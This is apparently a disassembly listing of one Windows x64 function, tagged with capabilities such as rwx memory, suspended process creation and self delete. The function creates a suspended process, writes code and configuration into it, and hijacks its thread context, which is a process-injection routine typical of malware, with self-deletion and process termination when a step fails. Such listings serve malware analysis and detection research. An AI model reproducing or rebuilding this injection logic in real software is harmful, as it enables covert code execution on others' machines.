Function at 0x1400060b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Delete file
Self delete
Terminate process

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x10648
call fcn.14004f8c0
sub rsp, rax
lea rcx, [rsp + 0x58]
call fcn.140008670
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
je 0x14000677b
mov rdx, qword [rsp + 0x10650]
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x140067f54]
lea rcx, [rsp + 0x80]
call fcn.140014fc0
xor ecx, ecx
mov word [rax], cx
mov edx, 0x68
lea rcx, [rsp + 0x100a0]
call fcn.140015140
mov dword [rsp + 0x100a0], 0x68
lea rax, [rsp + 0x10080]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x100a0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x10650]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 1
jne 0x14000677b
mov r8d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
lea rcx, str.9ED125A9_8EF5_431F_ADE5_306AE1B7A075
call fcn.140008460
mov qword [rsp + 0x10110], rax
cmp qword [rsp + 0x10110], 0
je 0x14000674f
lea rcx, [0x1400684a0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x10120], rax
mov edx, 0x406c0
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x10118], rax
cmp qword [rsp + 0x10118], 0
je 0x140006733
lea rdx, [0x1400684c0]
mov rcx, qword [rsp + 0x10120]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x10118]
mov qword [rcx], rax
lea rdx, [0x1400684d0]
mov rcx, qword [rsp + 0x10120]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x10118]
mov qword [rcx + 8], rax
mov rax, qword [rsp + 0x10118]
add rax, 0x10
lea rdx, [0x1400684e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x10118]
add rax, 0x10010
lea rdx, [0x140068500]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x10118]
add rax, 0x20010
lea rdx, [0x140068518]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x20074
lea rdx, [0x140068520]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x200d8
lea rdx, [0x140068530]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x2013c
lea rdx, [0x140068540]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x201a0
lea rdx, [0x140068550]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x20204
lea rdx, [0x140068560]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x20268
lea rdx, [0x140068570]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x202cc
lea rdx, [0x140068580]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x20330
lea rdx, [0x140068590]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x20394
lea rdx, [0x1400685a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x203f8
lea rdx, [0x1400685b0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x2045c
lea rdx, [0x1400685c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x204c0
lea rdx, [0x1400685d0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rax, qword [rsp + 0x10118]
add rax, 0x30524
mov rdx, qword [rsp + 0x10110]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x10118]
mov dword [rax + 0x40524], 1
mov rax, qword [rsp + 0x10118]
mov ecx, dword [0x14008a6e4]
mov dword [rax + 0x40528], ecx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, 0x406c0
xor edx, edx
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x10128], rax
cmp qword [rsp + 0x10128], 0
je 0x140006725
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x406c0
mov r8, qword [rsp + 0x10118]
mov rdx, qword [rsp + 0x10128]
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x10130], eax
cmp dword [rsp + 0x10130], 1
jne 0x140006706
mov dword [rsp + 0x10134], 0
lea rax, [rsp + 0x10134]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0x406c0
mov rdx, qword [rsp + 0x10128]
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp eax, 1
jne 0x140006706
lea rax, [0x140007a30]
lea rcx, [0x140006790]
sub rax, rcx
mov dword [rsp + 0x10138], eax
mov eax, dword [rsp + 0x10138]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x10140], rax
cmp qword [rsp + 0x10140], 0
je 0x140006706
mov eax, dword [rsp + 0x10138]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x20], rcx
mov r9d, eax
lea r8, [0x140006790]
mov rdx, qword [rsp + 0x10140]
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x10148], eax
cmp dword [rsp + 0x10148], 1
jne 0x1400066e7
mov dword [rsp + 0x1014c], 0
mov eax, dword [rsp + 0x10138]
lea rcx, [rsp + 0x1014c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov r8d, eax
mov rdx, qword [rsp + 0x10140]
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp eax, 1
jne 0x1400066e7
mov edx, 0x4d0
lea rcx, [rsp + 0x10160]
call fcn.140015140
mov dword [rsp + 0x10190], 0x10000b
lea rdx, [rsp + 0x10160]
mov rcx, qword [rsp + 0x10088]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x10150], eax
cmp dword [rsp + 0x10150], 1
jne 0x1400066e7
mov rax, qword [rsp + 0x10140]
mov qword [rsp + 0x10258], rax
mov rax, qword [rsp + 0x10128]
mov qword [rsp + 0x101e0], rax
lea rdx, [rsp + 0x10160]
mov rcx, qword [rsp + 0x10088]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [rsp + 0x10630], eax
cmp dword [rsp + 0x10630], 1
jne 0x1400066e7
mov rax, qword [rsp + 0x10658]
mov rcx, qword [rsp + 0x10080]
mov qword [rax], rcx
mov rax, qword [rsp + 0x10658]
mov rcx, qword [rsp + 0x10088]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x10658]
mov ecx, dword [rsp + 0x10090]
mov dword [rax + 0x10], ecx
mov rax, qword [rsp + 0x10658]
mov ecx, dword [rsp + 0x10094]
mov dword [rax + 0x14], ecx
mov rcx, qword [rsp + 0x10118]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x10110]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x14000677d
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x10140]
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x10128]
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x10118]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x10110]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x10110]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor edx, edx
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x10080]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x10088]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x10648
ret